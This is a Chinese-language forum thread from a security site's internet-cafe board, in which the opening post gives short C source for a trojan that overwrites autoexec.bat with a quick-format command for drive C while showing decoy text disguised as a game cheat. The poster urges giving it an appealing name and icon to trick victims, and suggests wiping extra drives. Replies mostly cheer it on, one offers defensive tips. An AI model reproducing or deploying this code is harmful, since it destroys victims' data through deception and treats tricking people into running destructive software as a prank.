论坛: 网吧专题 标题: 用C语言编写的格式化硬盘的炸弹 复制本贴地址    
作者: newmyth21 [newmyth21]    论坛用户   登录



用C语言编写的格式化硬盘的炸弹
  看过<<格式化硬盘的炸弹>>的文章后,突发奇想,感到这个炸弹好是很好,但是他的图表过于突出而且很不容易更改,样子怪怪的,不易让人上当。我这里编了一个用C编写的累似炸弹,它运行后不是立刻格式化,而是把格式化的命令写入autoexec.bat自动执行批处理文件,可以格式化整个硬盘(只要你狠),而且还可以在运行的画面上显现迷惑对方的文字。具体代码如下:
#include<stdio.h>
main()
{
FILE*fp;
char filename[30]="c:\\autoexec.bat",filecontent[100]="c:\\windows\\command\\format c:/q/autotest/u";
if((fp=fopen(filename,"w"))==NULL)
printf("cannot open filename\n");
fputs(filecontent,fp);
printf("现在正在扫描你的计算机:\n正在加装外挂:");
fclose(fp);


以上代码在vc++6.0和tc2.0上运行通过,程序中的中文你可以自己随意编写。编译通过后,你只要把这个可执行程序加上一个漂亮的名字和一个图标,骗对方运行就可以了,比如我这个程序仿的是一个外挂。我把这个程序在我的电脑上运行,运行后窗口中立刻显现程序中的中文,在AUTOEXEC.BAT上加入了“c:\windows\command\format c:/q/autoexec/u"这段文字。经本人试验,重新开机后就把C盘全格了(如果你狠的话,在format c:后可以加上"d:e:f:g:"那对方可惨了,非常好用。不给一点提示。最后你不要告诉我你不会C,哈哈!不会吧!注意:以上程序只适合98,不适用于2000和XP。



地主 发表时间: 04-03-09 09:03

回复: newmyth21 [newmyth21]   论坛用户   登录
想了一下,还是发到这里来了,因为最近比较烦,到处倒霉

B1层 发表时间: 04-03-09 09:04

回复: fsnow [fsnow]   论坛用户   登录
哈哈  不错    我不会 C  不过有更简单的    用  JS    作个网页  怎么做就不说了    我打字  有点慢

B2层 发表时间: 04-03-09 10:01

回复: sniper167 [sniper167]   论坛用户   登录
回去修改再试试
我现在用2000和xp
拿一个来做次实验


B3层 发表时间: 04-03-09 22:22

回复: yingzike [yingzike]   论坛用户   登录
好吧,写个防范篇:
1,菜菜鸟
  听从网上言论教论,不去乱点不明的程序,不运行不知道的外挂

2,菜鸟
  把 format.exe 改名成其他任何名字,反正不容易猜上就行

3,高手
  以上都是治标不治本的办法,高手会把 io.sys,command.com 中关于调用 autoexec.bat
的内容换成其他文件名,可以说一逸永劳了

4,老手
  换成WINNT架构系统,或者干脆不用WINDOWS,用LINUX/UNIX其他操作系统,尔耐我何

5, 骨灰级
  不用电脑,永不上当, 



B4层 发表时间: 04-03-10 09:04

回复: lhh2003 [lhh2003]   论坛用户   登录
既然我不是很懂c,但只能运行98,现在98的机器有多少,2000和xp的机器有多少,不过还是顶了,其实格式的有很多方法!

B5层 发表时间: 04-03-10 16:29

回复: rishian [rishian]   论坛用户   登录
好象在哪看过,是你写的吗?

B6层 发表时间: 04-03-11 16:13

回复: jsj0132 [jsj0132]   论坛用户   登录
不能玩的太疯啊,//

B7层 发表时间: 04-03-11 18:14

论坛: 网吧专题

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号